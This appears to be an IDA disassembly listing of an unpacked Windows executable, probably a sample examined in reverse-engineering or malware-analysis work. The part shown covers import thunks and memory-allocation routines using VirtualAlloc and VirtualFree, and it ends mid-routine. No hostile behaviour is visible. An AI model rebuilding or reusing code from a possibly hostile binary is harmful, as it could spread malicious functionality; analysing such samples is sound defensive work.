;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	C0947BF5ECAE4C50B3A234C3B9F40F84

; File Name   :	u:\work\c0947bf5ecae4c50b3a234c3b9f40f84_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	10000000
; Section 1. (virtual address 00001000)
; Virtual size			: 00007750 (  30544.)
; Section size in file		: 00007750 (  30544.)
; Offset to raw	data for section: 00001000
; Flags	60000020: Text Executable Readable
; Alignment	: default

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
CODE		segment	para public 'CODE' use32
		assume cs:CODE
		;org 10001000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing
off_10001000	dd offset dword_10001004 ; DATA	XREF: CODE:10004AA6o
					; CODE:100053FDo ...
dword_10001004	dd 7453060Ah, 676E6972h	; DATA XREF: CODE:off_10001000o
off_1000100C	dd offset dword_10001058 ; DATA	XREF: CODE:10004A78o
		dd 7 dup(0)
		dd offset dword_10001058
		dd 4, 0
		dd offset sub_10002D78
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_10002D8C
		dd offset nullsub_3
		dd offset sub_10002C44
		dd offset sub_10002C60
		dd offset sub_10002C7C
dword_10001058	dd 624F5407h, 7463656Ah	; DATA XREF: CODE:off_1000100Co
					; CODE:1000102Co

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001060	proc near		; CODE XREF: sub_100034A4+39p
					; sub_100034A4+54p
		jmp	ds:dword_1000B128
sub_10001060	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001068	proc near		; CODE XREF: sub_10002E2C+14p
					; sub_10002E48+16p ...
		jmp	ds:dword_1000B124
sub_10001068	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001070	proc near		; CODE XREF: sub_10002F1C+D2p
					; CODE:10003224p
					; DATA XREF: ...
		jmp	ds:dword_1000B120
sub_10001070	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001078	proc near		; CODE XREF: sub_10002F1C+6Ap
					; sub_10002F1C+A7p ...
		jmp	ds:dword_1000B11C
sub_10001078	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001080	proc near		; CODE XREF: sub_100034A4+3Fp
					; sub_100034A4+5Ap
		jmp	ds:dword_1000B118
sub_10001080	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001088	proc near		; CODE XREF: sub_10003C78+3p
		jmp	ds:dword_1000B13C
sub_10001088	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001090	proc near		; CODE XREF: sub_10003530+BAp
		jmp	ds:dword_1000B114
sub_10001090	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001098	proc near		; CODE XREF: sub_100034A4+78p
		jmp	ds:dword_1000B138
sub_10001098	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100010A0	proc near		; CODE XREF: sub_10003C8C+117p
		jmp	ds:dword_1000B110
sub_100010A0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100010A8	proc near		; CODE XREF: sub_10003C8C+10Ap
		jmp	ds:dword_1000B10C
sub_100010A8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100010B0	proc near		; CODE XREF: sub_10003530+85p
		jmp	ds:dword_1000B108
sub_100010B0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100010B8	proc near		; CODE XREF: sub_100042EC+78p
		jmp	ds:dword_1000B104
sub_100010B8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100010C0	proc near		; CODE XREF: sub_10003E44+12Fp
					; sub_10004218+26p
		jmp	ds:dword_1000B100
sub_100010C0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100010C8	proc near		; CODE XREF: sub_10003C08+1Ep
					; sub_10003E44+1Cp
		jmp	ds:dword_1000B0FC
sub_100010C8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100010D0	proc near		; CODE XREF: sub_10003C8C+1Dp
		jmp	ds:dword_1000B0F8
sub_100010D0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100010D8	proc near		; CODE XREF: sub_10003C8C+2Ep
		jmp	ds:dword_1000B0F4
sub_100010D8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100010E0	proc near		; CODE XREF: sub_10001148+Ap
		jmp	ds:dword_1000B0F0
sub_100010E0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100010E8	proc near		; CODE XREF: sub_10003E44+129p
					; sub_100042EC:loc_100043A5p ...
		jmp	ds:dword_1000B0EC
sub_100010E8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100010F0	proc near		; CODE XREF: sub_10003E44+1B1p
					; sub_10003E44+1E9p ...
		jmp	ds:dword_1000B0E8
sub_100010F0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100010F8	proc near		; CODE XREF: sub_100041C0+31p
		jmp	ds:dword_1000B134
sub_100010F8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001100	proc near		; CODE XREF: sub_10003C8C+5Ep
					; sub_10003C8C+C2p ...
		jmp	ds:dword_1000B0E4
sub_10001100	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001108	proc near		; CODE XREF: sub_10003C8C+123p
					; sub_10003C8C+163p ...
		jmp	ds:dword_1000B0E0
sub_10001108	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001110	proc near		; CODE XREF: sub_10002B60+6Bp
					; sub_10003E44+FFp
		jmp	ds:dword_1000B14C
sub_10001110	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001118	proc near		; CODE XREF: sub_10002B60+22p
					; sub_10003E44+3Ap ...
		jmp	ds:dword_1000B148
sub_10001118	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001120	proc near		; CODE XREF: sub_10002B60+55p
					; sub_10003E44+BFp ...
		jmp	ds:dword_1000B144
sub_10001120	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001128	proc near		; CODE XREF: sub_10003740+16p
		jmp	ds:dword_1000B0DC
sub_10001128	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001130	proc near		; CODE XREF: sub_10003A2C+Ep
					; sub_10003A44+13p
		jmp	ds:dword_1000B154
sub_10001130	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001138	proc near		; CODE XREF: sub_100042EC:loc_100043C5p
		jmp	ds:dword_1000B0D8
sub_10001138	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001140	proc near		; CODE XREF: sub_100042EC+8Cp
					; sub_100042EC+9Dp
		jmp	ds:dword_1000B0D4
sub_10001140	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10001148	proc near		; CODE XREF: sub_100042EC+82p

var_1C		= word ptr -1Ch
var_18		= word ptr -18h

		push	ebx
		add	esp, 0FFFFFFBCh
		mov	ebx, 0Ah
		push	esp
		call	sub_100010E0	; GetStartupInfoA
		test	byte ptr [esp+48h+var_1C], 1
		jz	short loc_10001163
		movzx	ebx, [esp+48h+var_18]

loc_10001163:				; CODE XREF: sub_10001148+14j
		mov	eax, ebx
		add	esp, 44h
		pop	ebx
		retn
sub_10001148	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_1000116C	proc near		; CODE XREF: sub_100011AC+13p
					; sub_10001838+53p
		jmp	ds:dword_1000B0D0
sub_1000116C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001174	proc near		; CODE XREF: sub_100018FC+3Fp
					; sub_100018FC+9Dp
		jmp	ds:dword_1000B0CC
sub_10001174	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_1000117C	proc near		; CODE XREF: sub_10001350+2Fp
					; sub_100013B4+1Ep ...
		jmp	ds:dword_1000B0C8
sub_1000117C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001184	proc near		; CODE XREF: sub_10001350+56p
					; sub_100013B4+69p ...
		jmp	ds:dword_1000B0C4
sub_10001184	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_1000118C	proc near		; CODE XREF: sub_10001838+16p
		jmp	ds:dword_1000B0C0
sub_1000118C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10001194	proc near		; CODE XREF: sub_10001838+29p
					; sub_100018FC+2Dp ...
		jmp	ds:dword_1000B0BC
sub_10001194	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_1000119C	proc near		; CODE XREF: sub_10001838+B0p
					; sub_100018FC+C6p ...
		jmp	ds:dword_1000B0B8
sub_1000119C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100011A4	proc near		; CODE XREF: sub_100018FC+D0p
		jmp	ds:dword_1000B0B4
sub_100011A4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100011AC	proc near		; CODE XREF: sub_10001204+6p
		push	ebx
		push	esi
		mov	esi, offset dword_1000A5E0
		cmp	dword ptr [esi], 0
		jnz	short loc_100011F2
		push	644h
		push	0
		call	sub_1000116C	; LocalAlloc
		mov	ecx, eax
		test	ecx, ecx
		jnz	short loc_100011CF
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_100011CF:				; CODE XREF: sub_100011AC+1Cj
		mov	eax, ds:dword_1000A5DC
		mov	[ecx], eax
		mov	ds:dword_1000A5DC, ecx
		xor	edx, edx

loc_100011DE:				; CODE XREF: sub_100011AC+44j
		mov	eax, edx
		add	eax, eax
		lea	eax, [ecx+eax*8+4]
		mov	ebx, [esi]
		mov	[eax], ebx
		mov	[esi], eax
		inc	edx
		cmp	edx, 64h
		jnz	short loc_100011DE

loc_100011F2:				; CODE XREF: sub_100011AC+Aj
		mov	eax, [esi]
		mov	edx, [eax]
		mov	[esi], edx
		pop	esi
		pop	ebx
		retn
sub_100011AC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100011FC	proc near		; CODE XREF: sub_10001838+33p
					; sub_10001838+3Dp ...
		mov	[eax], eax
		mov	[eax+4], eax
		retn
sub_100011FC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10001204	proc near		; CODE XREF: sub_1000124C+5Dp
					; sub_100012BC+73p ...
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		call	sub_100011AC
		test	eax, eax
		jnz	short loc_10001218
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_10001218:				; CODE XREF: sub_10001204+Dj
		mov	edx, [esi]
		mov	[eax+8], edx
		mov	edx, [esi+4]
		mov	[eax+0Ch], edx
		mov	edx, [ebx]
		mov	[eax], edx
		mov	[eax+4], ebx
		mov	[edx+4], eax
		mov	[ebx], eax
		mov	al, 1
		pop	esi
		pop	ebx
		retn
sub_10001204	endp


; =============== S U B	R O U T	I N E =======================================



sub_10001234	proc near		; CODE XREF: sub_1000124C+2Cp
					; sub_1000124C+48p ...
		mov	edx, [eax+4]
		mov	ecx, [eax]
		mov	[edx], ecx
		mov	[ecx+4], edx
		mov	edx, ds:dword_1000A5E0
		mov	[eax], edx
		mov	ds:dword_1000A5E0, eax
		retn
sub_10001234	endp


; =============== S U B	R O U T	I N E =======================================



sub_1000124C	proc near		; CODE XREF: sub_100015F8+6Cp
					; sub_10001688+62p ...

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	esi, ecx
		mov	[esp+14h+var_14], edx
		mov	ebp, eax
		mov	ebx, [ebp+0]
		mov	eax, [esp+14h+var_14]
		mov	edx, [eax]
		mov	[esi], edx
		mov	edx, [eax+4]
		mov	[esi+4], edx

loc_10001268:				; CODE XREF: sub_1000124C+57j
		mov	edi, [ebx]
		mov	eax, [esi]
		mov	edx, [ebx+8]
		add	edx, [ebx+0Ch]
		cmp	eax, edx
		jnz	short loc_1000128A
		mov	eax, ebx
		call	sub_10001234
		mov	eax, [ebx+8]
		mov	[esi], eax
		mov	eax, [ebx+0Ch]
		add	[esi+4], eax
		jmp	short loc_1000129F
; ---------------------------------------------------------------------------

loc_1000128A:				; CODE XREF: sub_1000124C+28j
		add	eax, [esi+4]
		cmp	eax, [ebx+8]
		jnz	short loc_1000129F
		mov	eax, ebx
		call	sub_10001234
		mov	eax, [ebx+0Ch]
		add	[esi+4], eax

loc_1000129F:				; CODE XREF: sub_1000124C+3Cj
					; sub_1000124C+44j
		mov	ebx, edi
		cmp	ebp, ebx
		jnz	short loc_10001268
		mov	edx, esi
		mov	eax, ebp
		call	sub_10001204
		test	al, al
		jnz	short loc_100012B6
		xor	eax, eax
		mov	[esi], eax

loc_100012B6:				; CODE XREF: sub_1000124C+64j
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_1000124C	endp


; =============== S U B	R O U T	I N E =======================================



sub_100012BC	proc near		; CODE XREF: sub_100017AC+7Ap
					; sub_10001B94+99p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF8h
		mov	ebx, eax
		mov	edi, ebx

loc_100012C7:				; CODE XREF: sub_100012BC+88j
		mov	esi, [edx]
		mov	eax, [ebx+8]
		cmp	esi, eax
		jb	short loc_10001340
		mov	ecx, esi
		add	ecx, [edx+4]
		mov	ebp, eax
		add	ebp, [ebx+0Ch]
		cmp	ecx, ebp
		ja	short loc_10001340
		cmp	esi, eax
		jnz	short loc_100012FD
		mov	eax, [edx+4]
		add	[ebx+8], eax
		mov	eax, [edx+4]
		sub	[ebx+0Ch], eax
		cmp	dword ptr [ebx+0Ch], 0
		jnz	short loc_1000133C
		mov	eax, ebx
		call	sub_10001234
		jmp	short loc_1000133C
; ---------------------------------------------------------------------------

loc_100012FD:				; CODE XREF: sub_100012BC+24j
		mov	ecx, esi
		mov	edi, [edx+4]
		add	ecx, edi
		mov	ebp, eax
		add	ebp, [ebx+0Ch]
		cmp	ecx, ebp
		jnz	short loc_10001312
		sub	[ebx+0Ch], edi
		jmp	short loc_1000133C
; ---------------------------------------------------------------------------

loc_10001312:				; CODE XREF: sub_100012BC+4Fj
		mov	ecx, [edx]
		add	ecx, [edx+4]
		mov	[esp+18h+var_18], ecx
		mov	edi, [ebx+8]
		add	edi, [ebx+0Ch]
		sub	edi, ecx
		mov	[esp+18h+var_14], edi
		sub	esi, eax
		mov	[ebx+0Ch], esi
		mov	edx, esp
		mov	eax, ebx
		call	sub_10001204
		test	al, al
		jnz	short loc_1000133C
		xor	eax, eax
		jmp	short loc_10001348
; ---------------------------------------------------------------------------

loc_1000133C:				; CODE XREF: sub_100012BC+36j
					; sub_100012BC+3Fj ...
		mov	al, 1
		jmp	short loc_10001348
; ---------------------------------------------------------------------------

loc_10001340:				; CODE XREF: sub_100012BC+12j
					; sub_100012BC+20j
		mov	ebx, [ebx]
		cmp	edi, ebx
		jnz	short loc_100012C7
		xor	eax, eax

loc_10001348:				; CODE XREF: sub_100012BC+7Ej
					; sub_100012BC+82j
		pop	ecx
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_100012BC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_10001350	proc near		; CODE XREF: sub_100015F8+5Cp
		push	ebx
		push	esi
		push	edi
		mov	ebx, edx
		mov	esi, eax
		cmp	esi, 100000h
		jge	short loc_10001366
		mov	esi, 100000h
		jmp	short loc_10001372
; ---------------------------------------------------------------------------

loc_10001366:				; CODE XREF: sub_10001350+Dj
		add	esi, 0FFFFh
		and	esi, 0FFFF0000h

loc_10001372:				; CODE XREF: sub_10001350+14j
		mov	[ebx+4], esi
		push	1
		push	2000h
		push	esi
		push	0
		call	sub_1000117C	; VirtualAlloc
		mov	edi, eax
		mov	[ebx], edi
		test	edi, edi
		jz	short loc_100013AF
		mov	edx, ebx
		mov	eax, offset off_1000A5E4
		call	sub_10001204
		test	al, al
		jnz	short loc_100013AF
		push	8000h
		push	0
		mov	eax, [ebx]
		push	eax
		call	sub_10001184	; VirtualFree
		xor	eax, eax
		mov	[ebx], eax

loc_100013AF:				; CODE XREF: sub_10001350+3Aj
					; sub_10001350+4Aj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10001350	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100013B4	proc near		; CODE XREF: sub_10001688+4Cp
					; sub_10001688+93p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, ecx
		mov	esi, edx
		mov	ebp, eax
		mov	dword ptr [ebx+4], 100000h
		push	4
		push	2000h
		push	100000h
		push	ebp
		call	sub_1000117C	; VirtualAlloc
		mov	edi, eax
		mov	[ebx], edi
		test	edi, edi
		jnz	short loc_100013FE
		add	esi, 0FFFFh
		and	esi, 0FFFF0000h
		mov	[ebx+4], esi
		push	4
		push	2000h
		push	esi
		push	ebp
		call	sub_1000117C	; VirtualAlloc
		mov	[ebx], eax

loc_100013FE:				; CODE XREF: sub_100013B4+29j
		cmp	dword ptr [ebx], 0
		jz	short loc_10001426
		mov	edx, ebx
		mov	eax, offset off_1000A5E4
		call	sub_10001204
		test	al, al
		jnz	short loc_10001426
		push	8000h
		push	0
		mov	eax, [ebx]
		push	eax
		call	sub_10001184	; VirtualFree
		xor	eax, eax
		mov	[ebx], eax

loc_10001426:				; CODE XREF: sub_100013B4+4Dj
					; sub_100013B4+5Dj
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_100013B4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_1000142C	proc near		; CODE XREF: sub_100015F8+7Ep
					; sub_10001688+7Ap ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFECh
		mov	[esp+24h+var_20], ecx
		mov	[esp+24h+var_24], edx
		mov	[esp+24h+var_1C], 0FFFFFFFFh
		xor	edx, edx
		mov	[esp+24h+var_18], edx
		mov	ebp, eax
		mov	eax, [esp+24h+var_24]
		add	eax, ebp
		mov	[esp+24h+var_14], eax
		mov	ebx, ds:off_1000A5E4
		jmp	short loc_100014AC
; ---------------------------------------------------------------------------

loc_1000145B:				; CODE XREF: sub_1000142C+86j
		mov	edi, [ebx]
		mov	esi, [ebx+8]
		cmp	ebp, esi
		ja	short loc_100014AA
		mov	eax, esi
		add	eax, [ebx+0Ch]
		cmp	eax, [esp+24h+var_14]
		ja	short loc_100014AA
		cmp	esi, [esp+24h+var_1C]
		jnb	short loc_10001479
		mov	[esp+24h+var_1C], esi

loc_10001479:				; CODE XREF: sub_1000142C+47j
		mov	eax, esi
		add	eax, [ebx+0Ch]
		cmp	eax, [esp+24h+var_18]
		jbe	short loc_10001488
		mov	[esp+24h+var_18], eax

loc_10001488:				; CODE XREF: sub_1000142C+56j
		push	8000h
		push	0
		push	esi
		call	sub_10001184	; VirtualFree
		test	eax, eax
		jnz	short loc_100014A3
		mov	ds:dword_1000A5C0, 1

loc_100014A3:				; CODE XREF: sub_1000142C+6Bj
		mov	eax, ebx
		call	sub_10001234

loc_100014AA:				; CODE XREF: sub_1000142C+36j
					; sub_1000142C+41j
		mov	ebx, edi

loc_100014AC:				; CODE XREF: sub_1000142C+2Dj
		cmp	ebx, offset off_1000A5E4
		jnz	short loc_1000145B
		mov	eax, [esp+24h+var_20]
		xor	edx, edx
		mov	[eax], edx
		cmp	[esp+24h+var_18], 0
		jz	short loc_100014DC
		mov	eax, [esp+24h+var_20]
		mov	edx, [esp+24h+var_1C]
		mov	[eax], edx
		mov	eax, [esp+24h+var_18]
		sub	eax, [esp+24h+var_1C]
		mov	edx, [esp+24h+var_20]
		mov	[edx+4], eax

loc_100014DC:				; CODE XREF: sub_1000142C+95j
		add	esp, 14h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_1000142C	endp


; =============== S U B	R O U T	I N E =======================================



sub_100014E4	proc near		; CODE XREF: sub_100015F8+2Dp
					; sub_10001688+E6p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF4h
		mov	[esp+1Ch+var_18], ecx
		mov	[esp+1Ch+var_1C], edx
		mov	edx, eax
		mov	ebp, edx
		and	ebp, 0FFFFF000h
		add	edx, [esp+1Ch+var_1C]
		add	edx, 0FFFh
		and	edx, 0FFFFF000h
		mov	[esp+1Ch+var_14], edx
		mov	eax, [esp+1Ch+var_18]
		mov	[eax], ebp
		mov	eax, [esp+1Ch+var_14]
		sub	eax, ebp
		mov	edx, [esp+1Ch+var_18]
		mov	[edx+4], eax
		mov	esi, ds:off_1000A5E4
		jmp	short loc_10001566
; ---------------------------------------------------------------------------

loc_1000152A:				; CODE XREF: sub_100014E4+88j
		mov	ebx, [esi+8]
		mov	edi, [esi+0Ch]
		add	edi, ebx
		cmp	ebp, ebx
		jbe	short loc_10001538
		mov	ebx, ebp

loc_10001538:				; CODE XREF: sub_100014E4+50j
		cmp	edi, [esp+1Ch+var_14]
		jbe	short loc_10001542
		mov	edi, [esp+1Ch+var_14]

loc_10001542:				; CODE XREF: sub_100014E4+58j
		cmp	edi, ebx
		jbe	short loc_10001564
		push	4
		push	1000h
		sub	edi, ebx
		push	edi
		push	ebx
		call	sub_1000117C	; VirtualAlloc
		test	eax, eax
		jnz	short loc_10001564
		mov	eax, [esp+1Ch+var_18]
		xor	edx, edx
		mov	[eax], edx
		jmp	short loc_1000156E
; ---------------------------------------------------------------------------

loc_10001564:				; CODE XREF: sub_100014E4+60j
					; sub_100014E4+74j
		mov	esi, [esi]

loc_10001566:				; CODE XREF: sub_100014E4+44j
		cmp	esi, offset off_1000A5E4
		jnz	short loc_1000152A

loc_1000156E:				; CODE XREF: sub_100014E4+7Ej
		add	esp, 0Ch
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_100014E4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10001578	proc near		; CODE XREF: sub_100017AC+2Ep

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	ebx, eax
		mov	esi, ebx
		add	esi, 0FFFh
		and	esi, 0FFFFF000h
		mov	[esp+14h+var_14], esi
		mov	ebp, ebx
		add	ebp, edx
		and	ebp, 0FFFFF000h
		mov	eax, [esp+14h+var_14]
		mov	[ecx], eax
		mov	eax, ebp
		sub	eax, [esp+14h+var_14]
		mov	[ecx+4], eax
		mov	esi, ds:off_1000A5E4
		jmp	short loc_100015E7
; ---------------------------------------------------------------------------

loc_100015AF:				; CODE XREF: sub_10001578+75j
		mov	ebx, [esi+8]
		mov	edi, [esi+0Ch]
		add	edi, ebx
		cmp	ebx, [esp+14h+var_14]
		jnb	short loc_100015BF
		mov	ebx, [esp+14h+var_14]

loc_100015BF:				; CODE XREF: sub_10001578+42j
		cmp	ebp, edi
		jnb	short loc_100015C5
		mov	edi, ebp

loc_100015C5:				; CODE XREF: sub_10001578+49j
		cmp	edi, ebx
		jbe	short loc_100015E5
		push	4000h
		sub	edi, ebx
		push	edi
		push	ebx
		call	sub_10001184	; VirtualFree
		test	eax, eax
		jnz	short loc_100015E5
		mov	ds:dword_1000A5C0, 2

loc_100015E5:				; CODE XREF: sub_10001578+4Fj
					; sub_10001578+61j
		mov	esi, [esi]

loc_100015E7:				; CODE XREF: sub_10001578+35j
		cmp	esi, offset off_1000A5E4
		jnz	short loc_100015AF
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10001578	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100015F8	proc near		; CODE XREF: sub_10001DA4+Bp

var_18		= dword	ptr -18h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF8h
		mov	esi, edx
		mov	edi, eax
		mov	ebp, offset off_1000A5F4
		add	edi, 3FFFh
		and	edi, 0FFFFC000h

loc_10001614:				; CODE XREF: sub_100015F8+75j
		mov	ebx, [ebp+0]
		jmp	short loc_1000164C
; ---------------------------------------------------------------------------

loc_10001619:				; CODE XREF: sub_100015F8+56j
		cmp	edi, [ebx+0Ch]
		jg	short loc_1000164A
		mov	ecx, esi
		mov	edx, edi
		mov	eax, [ebx+8]
		call	sub_100014E4
		cmp	dword ptr [esi], 0
		jz	short loc_1000167F
		mov	eax, [esi+4]
		add	[ebx+8], eax
		mov	eax, [esi+4]
		sub	[ebx+0Ch], eax
		cmp	dword ptr [ebx+0Ch], 0
		jnz	short loc_1000167F
		mov	eax, ebx
		call	sub_10001234
		jmp	short loc_1000167F
; ---------------------------------------------------------------------------

loc_1000164A:				; CODE XREF: sub_100015F8+24j
		mov	ebx, [ebx]

loc_1000164C:				; CODE XREF: sub_100015F8+1Fj
		cmp	ebx, ebp
		jnz	short loc_10001619
		mov	edx, esi
		mov	eax, edi
		call	sub_10001350
		cmp	dword ptr [esi], 0
		jz	short loc_1000167F
		mov	ecx, esp
		mov	edx, esi
		mov	eax, ebp
		call	sub_1000124C
		cmp	[esp+18h+var_18], 0
		jnz	short loc_10001614
		mov	ecx, esp
		mov	edx, [esi+4]
		mov	eax, [esi]
		call	sub_1000142C
		xor	eax, eax
		mov	[esi], eax

loc_1000167F:				; CODE XREF: sub_100015F8+35j
					; sub_100015F8+47j ...
		pop	ecx
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_100015F8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10001688	proc near		; CODE XREF: sub_10001DD0+10p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFECh
		mov	[esp+24h+var_24], ecx
		mov	edi, edx
		mov	esi, eax
		mov	ebp, offset off_1000A5F4
		add	edi, 3FFFh
		and	edi, 0FFFFC000h

loc_100016A7:				; CODE XREF: sub_10001688+6Cj
					; sub_10001688+B3j
		mov	ebx, [ebp+0]
		jmp	short loc_100016AE
; ---------------------------------------------------------------------------

loc_100016AC:				; CODE XREF: sub_10001688+2Dj
		mov	ebx, [ebx]

loc_100016AE:				; CODE XREF: sub_10001688+22j
		cmp	ebx, ebp
		jz	short loc_100016B7
		cmp	esi, [ebx+8]
		jnz	short loc_100016AC

loc_100016B7:				; CODE XREF: sub_10001688+28j
		cmp	esi, [ebx+8]
		jnz	short loc_10001713
		cmp	edi, [ebx+0Ch]
		jle	loc_1000175B
		lea	ecx, [esp+24h+var_20]
		mov	edx, edi
		sub	edx, [ebx+0Ch]
		mov	eax, [ebx+8]
		add	eax, [ebx+0Ch]
		call	sub_100013B4
		cmp	[esp+24h+var_20], 0
		jz	short loc_10001713
